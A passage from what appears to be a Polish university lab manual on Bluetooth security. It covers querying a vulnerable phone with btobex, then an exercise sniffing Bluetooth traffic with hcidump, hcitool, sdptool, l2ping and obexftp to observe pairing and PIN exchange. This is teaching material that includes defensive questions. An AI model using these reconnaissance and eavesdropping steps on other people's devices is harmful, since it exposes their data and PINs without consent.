5) Wykonać polecenie 'btobex -h' i z wyświetlonej listy możliwych komend wykonać wszystkie poza dwoma pierwszymi. Przykład danych zwróconych przez to polecenie dla żądania informacji o urządzeniu wygląda następująco:

```
localhost:/ # btobex devinfo 00:0A:D9:F9:8E:24
MANU:Sony Ericsson
MOD:T610 series
SW-VERSION:prgCXC125572_EMEA_1
SW-DATE:20R3C002TTTTT00
HW-VERSION:proto
SN:351957004085672
PB-TYPE-TX:VCARD2.1
PB-TYPE-RX:VCARD2.1
CAL-TYPE-TX:VCAL1.0
CAL-TYPE-RX:VCAL1.0
MSG-TYPE-TX:NONE
MSG-TYPE-RX:NONE
NOTE-TYPE-TX:VNOTE1.1
NOTE-TYPE-RX:VNOTE1.1
X-ERI-MELODY-TYPE-TX:EMELODY1.0
X-ERI-MELODY-TYPE-RX:EMELODY1.0
IRMC-VERSION:1.1
INBOX:MULTIPLE
MSG-SENT-BOX:NO
localhost:/ #
```

6) Wiedząc, że urządzenie jest podatne na atak, jakie kroki należy podjąć, aby zminimalizować ryzyko a jakie, aby zupełnie zabezpieczyć się przed atakiem?

3.12 Podsłuch

Cel ćwiczenia

Ćwiczenie ma na celu demonstrację sposobu podsłuchu pakietów w sieci Bluetooth. Szczególne umożliwia zaobserwowanie procesu parowania urządzeń, kapsułkowania pakietów i sposobu przesyłania plików. Ćwiczenie umożliwia również zapoznanie się z narzędziem „hcidump" będącym częścią pakietu BlueZ.

Opis ćwiczenia

Ćwiczenie polega na uruchomieniu analizatora protokołów (ang. sniffer) Bluetooth działającego w tle i wykonywania na pierwszym planie znanych już poleceń. Tym razem jednak należy się skupić nie na wynikach tych poleceń, ale na podglądzie pakietów, które są przesyłane przez sieć.

Zadania do wykonania

1) Na pierwszym terminalu uruchamiamy analizator protokołów (ang. sniffer) pakietów Bluetooth poleceniem 'hcidump -V'

2) Następnie zaobserwować wymieniane między urządzeniami pakiety dla poniższych poleceń wykonywanych na drugim terminalu:

- 'hcitool scan'
- 'l2ping `_bdaddr_`'
- 'sdptool browse `_bdaddr_`'
- 'sdptool records `_bdaddr_`'
- Dla nie sparowanych urządzeń wykonać:

  'obexftp -b adres_urządzenia_bluetooth -l'

3) Dla ostatniego z wymienionych powyżej poleceń zaobserwować proces parowania urządzeń i kod PIN przez nie wymieniany.

4) Wybrać dowolne inne polecenie użyte w poprzednich ćwiczeniach i zaobserwować wyniki jakie wyświetli program hcidump.

5) Czy opisana metoda umożliwia podgląd wymiany danych między dowolnymi urządzeniami w sieci?